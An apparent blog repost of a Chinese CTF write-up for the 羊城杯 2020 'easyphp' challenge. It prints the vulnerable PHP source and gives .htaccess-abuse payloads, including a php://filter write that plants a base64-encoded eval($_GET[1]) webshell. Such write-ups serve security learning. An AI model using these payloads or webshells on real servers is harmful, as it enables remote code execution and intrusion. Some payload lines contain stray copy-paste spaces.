[羊城杯 2020]easyphp

[羊城杯 2020]easyphp

  • easyphp
    • 考点
    • 思路
    • Payload

easyphp

考点

.htaccess的利用

思路

在目录下,只有index.php能够作为php解析执行,于是我们可以写一个.htaccess让index.php自动包含执行代码;
思路一:向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,但是file关键字被ban了,可以用换行绕过,结尾要用\处理content中的\n;
思路二:利用.htaccess文件特性,不过这次是通过设置php_value来设置preg_macth正则回溯次数;先写入.htaccess,再直接通过php://filter伪协议写入一句话

Payload

代码审计


    $files = scandir('./'); 
    foreach($files as $file) {
     
        if(is_file($file)){
     
            if ($file !== "index.php") {
     
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
     
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
     
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
     
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
     
        if(is_file($file)){
     
            if ($file !== "index.php") {
     
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

方法一:向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,详细见之前的文章

[羊城杯 2020]easyphp_第1张图片
[羊城杯 2020]easyphp_第2张图片

方法二:绕过preg_math的配置,见之前的文章

先写入.htaccess
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess

再直接通过php://filter伪协议写入一句话
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();

你可能感兴趣的:(#,安全学习之做题解析,php,web安全,ctf,.htaccess)